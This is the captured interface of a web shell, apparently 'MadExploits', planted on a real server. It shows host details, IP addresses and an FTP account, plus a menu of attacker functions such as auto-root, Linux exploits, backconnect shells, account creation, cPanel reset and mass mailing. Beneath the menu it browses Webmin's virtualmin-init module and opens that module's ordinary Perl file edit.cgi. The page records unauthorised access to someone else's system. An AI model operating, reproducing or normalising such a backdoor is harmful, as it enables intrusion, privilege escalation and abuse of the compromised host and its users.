Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtualmin-init /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
LICENSE
34.32
KB
-rw-r--r--
cgi_args.pl
506
B
-rwxr-xr-x
config
10
B
-rw-r--r--
config-solaris
9
B
-rw-r--r--
config.info
138
B
-rw-r--r--
config.info.nl
144
B
-rw-r--r--
config.info.no
148
B
-rw-r--r--
defaultacl
12
B
-rw-r--r--
edit.cgi
4.78
KB
-rwxr-xr-x
edit_tmpl.cgi
2.75
KB
-rwxr-xr-x
index.cgi
3.5
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
mass.cgi
1.75
KB
-rwxr-xr-x
module.info
128
B
-rw-r--r--
module.info.af.auto
33
B
-rw-r--r--
module.info.ar.auto
45
B
-rw-r--r--
module.info.be.auto
41
B
-rw-r--r--
module.info.bg.auto
68
B
-rw-r--r--
module.info.ca.auto
42
B
-rw-r--r--
module.info.cs.auto
37
B
-rw-r--r--
module.info.da.auto
38
B
-rw-r--r--
module.info.de.auto
33
B
-rw-r--r--
module.info.el.auto
57
B
-rw-r--r--
module.info.es.auto
43
B
-rw-r--r--
module.info.eu.auto
35
B
-rw-r--r--
module.info.fa.auto
41
B
-rw-r--r--
module.info.fi.auto
37
B
-rw-r--r--
module.info.fr.auto
41
B
-rw-r--r--
module.info.he.auto
48
B
-rw-r--r--
module.info.hr.auto
37
B
-rw-r--r--
module.info.hu.auto
49
B
-rw-r--r--
module.info.it.auto
38
B
-rw-r--r--
module.info.ja.auto
40
B
-rw-r--r--
module.info.ko.auto
33
B
-rw-r--r--
module.info.lt.auto
43
B
-rw-r--r--
module.info.lv.auto
43
B
-rw-r--r--
module.info.ms.auto
36
B
-rw-r--r--
module.info.mt.auto
49
B
-rw-r--r--
module.info.nl.auto
33
B
-rw-r--r--
module.info.no.auto
39
B
-rw-r--r--
module.info.pl.auto
41
B
-rw-r--r--
module.info.pt.auto
49
B
-rw-r--r--
module.info.pt_BR.auto
52
B
-rw-r--r--
module.info.ro.auto
39
B
-rw-r--r--
module.info.ru.auto
43
B
-rw-r--r--
module.info.sk.auto
37
B
-rw-r--r--
module.info.sl.auto
35
B
-rw-r--r--
module.info.sv.auto
37
B
-rw-r--r--
module.info.th.auto
73
B
-rw-r--r--
module.info.tr.auto
36
B
-rw-r--r--
module.info.uk.auto
64
B
-rw-r--r--
module.info.ur.auto
51
B
-rw-r--r--
module.info.vi.auto
48
B
-rw-r--r--
module.info.zh.auto
31
B
-rw-r--r--
module.info.zh_TW.auto
34
B
-rw-r--r--
module.nl.info
33
B
-rw-r--r--
module.no.info
39
B
-rw-r--r--
save.cgi
3.51
KB
-rwxr-xr-x
save_tmpl.cgi
1.86
KB
-rwxr-xr-x
template.xml
1.12
KB
-rw-r--r--
virtual_feature.pl
6.12
KB
-rwxr-xr-x
virtualmin-init-lib.pl
16.6
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit.cgi
#!/usr/bin/perl # Show a page for creating or editing a bootup action associated with # some domain. use strict; use warnings; our (%text, %in, %config); our $module_name; require './virtualmin-init-lib.pl'; &ReadParse(); my $d = $in{'dom'} ? &virtual_server::get_domain($in{'dom'}) : undef; &ui_print_header($d ? &virtual_server::domain_in($d) : undef, $in{'new'} ? $text{'edit_title1'} : $text{'edit_title2'}, ""); my $init; my $tmpl; if (!$in{'new'}) { # Get the existing action ($init) = grep { $_->{'id'} eq $in{'id'} } &list_domain_actions($d); $init || &error($text{'edit_egone'}); } else { # Adding a new action $init = { 'status' => 1 }; ($tmpl) = grep { $_->{'id'} eq $in{'tmpl'} } &list_action_templates(); if ($config{'mode'} eq 'smf' && !$tmpl) { $init->{'stop'} = ':kill'; } } print &ui_form_start("save.cgi", "post"); print &ui_hidden("new", $in{'new'}); print &ui_hidden("tmpl", $in{'tmpl'}); print &ui_hidden("id", $in{'id'}); if ($in{'dom'}) { print &ui_hidden("dom", $in{'dom'}); } print &ui_table_start($text{'edit_header'}, undef, 2); # Domain selector, if needed if (!$in{'dom'}) { my @doms = grep { $_->{$module_name} && &virtual_server::can_edit_domain($_) } &virtual_server::list_domains(); print &ui_table_row($text{'edit_dom'}, &ui_select("dom", undef, [ map { [ $_->{'id'}, $_->{'dom'} ] } @doms ])); } # Action name print &ui_table_row($text{'edit_name'}, &ui_textbox("name", $init->{'name'}, 30)); # Description print &ui_table_row($text{'edit_desc'}, &ui_textbox("desc", $init->{'desc'}, 60)); # Enabled? if (&can_start_actions()) { # Init mode, in which we can just control if started at boot print &ui_table_row($text{'edit_status'}, &ui_yesno_radio("status", int($init->{'status'}))); } else { # SMF mode, in which we can see the real status my @opts = ( [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ); if ($init->{'status'} == 2) { push(@opts, [ 2, $text{'edit_maint'} ]); } print &ui_table_row($text{'edit_status2'}, &ui_radio("status", $init->{'status'}, \@opts)); if ($init->{'status'} == 2) { # Show failure log print &ui_table_row($text{'edit_startlog'}, "<pre>".&html_escape($init->{'startlog'})."</pre>"); } } if ($tmpl) { # Adding from template .. show name print &ui_table_row($text{'edit_tmpl'}, $tmpl->{'desc'}); # Show parameters for(my $i=0; defined($tmpl->{'pname_'.$i}); $i++) { my $tt = $tmpl->{'ptype_'.$i}; my $tn = 'param_'.$tmpl->{'pname_'.$i}; my $of = $tmpl->{'popts_'.$i}; my @opts = $of ? &read_opts_file($of) : ( ); print &ui_table_row($tmpl->{'pdesc_'.$i}, $tt == 0 ? &ui_textbox($tn, undef, 50) : $tt == 1 ? &ui_textbox($tn, undef, 10) : $tt == 2 ? &ui_textbox($tn, undef, 50). &file_chooser_button($tn) : $tt == 3 ? &ui_radio($tn, $opts[0]->[0], \@opts) : $tt == 4 ? &ui_select($tn, $opts[0]->[0], \@opts) : undef); } # Show fixed code for start and stop my $start = $tmpl->{'start'}; $start = &substitute_template($start, $d) if ($d); print &ui_table_row($text{'edit_start'}, "<pre>".&html_escape($start)."</pre>"); my $stop = $tmpl->{'stop'}; $stop = &substitute_template($stop, $d) if ($d); print &ui_table_row($text{'edit_stop'}, $stop eq ":kill" ? $text{'edit_stopkill'} : "<pre>".&html_escape($stop)."</pre>"); } else { # Start code print &ui_table_row($text{'edit_start'}, &ui_textarea("start", $init->{'start'}, 5, 80)); # Stop code my $stopdef; if ($config{'mode'} eq 'smf') { $stopdef = &ui_radio( "stop_def", $init->{'stop'} eq ':kill' ? 1 : 0, [ [ 1, $text{'edit_stopkill'} ], [ 0, $text{'edit_stopbelow'} ] ])."<br>\n"; } print &ui_table_row($text{'edit_stop'}, $stopdef. &ui_textarea("stop", $init->{'stop'} eq ':kill' ? undef : $init->{'stop'}, 5, 80)); # Current processes if (!$in{'new'}) { my @procs = &get_started_processes($init); if (@procs) { my @table = ( ); foreach my $p (@procs) { push(@table, [ $p->{'pid'}, $p->{'cpu'}, $p->{'size'}, $p->{'args'} ]); } print &ui_table_row($text{'edit_procs'}, &ui_columns_table( [ $text{'edit_ppid'}, $text{'edit_pcpu'}, $text{'edit_psize'}, $text{'edit_pcmd'} ], undef, \@table)); } } } # SMF FMRI if (!$in{'new'} && $init->{'fmri'}) { print &ui_table_row($text{'edit_fmri'}, "<tt>".&html_escape($init->{'fmri'})."</tt>"); } print &ui_table_end(); if ($in{'new'}) { print &ui_form_end([ [ "create", $text{'create'} ] ]); } else { print &ui_form_end([ [ "save", $text{'save'} ], [ "delete", $text{'delete'} ], undef, &can_start_actions() ? ( [ "startnow", $text{'edit_startnow'} ], [ "stopnow", $text{'edit_stopnow'} ] ) : ( ) ]); } &ui_print_footer("index.cgi?dom=$in{'dom'}", $text{'index_return'});
Close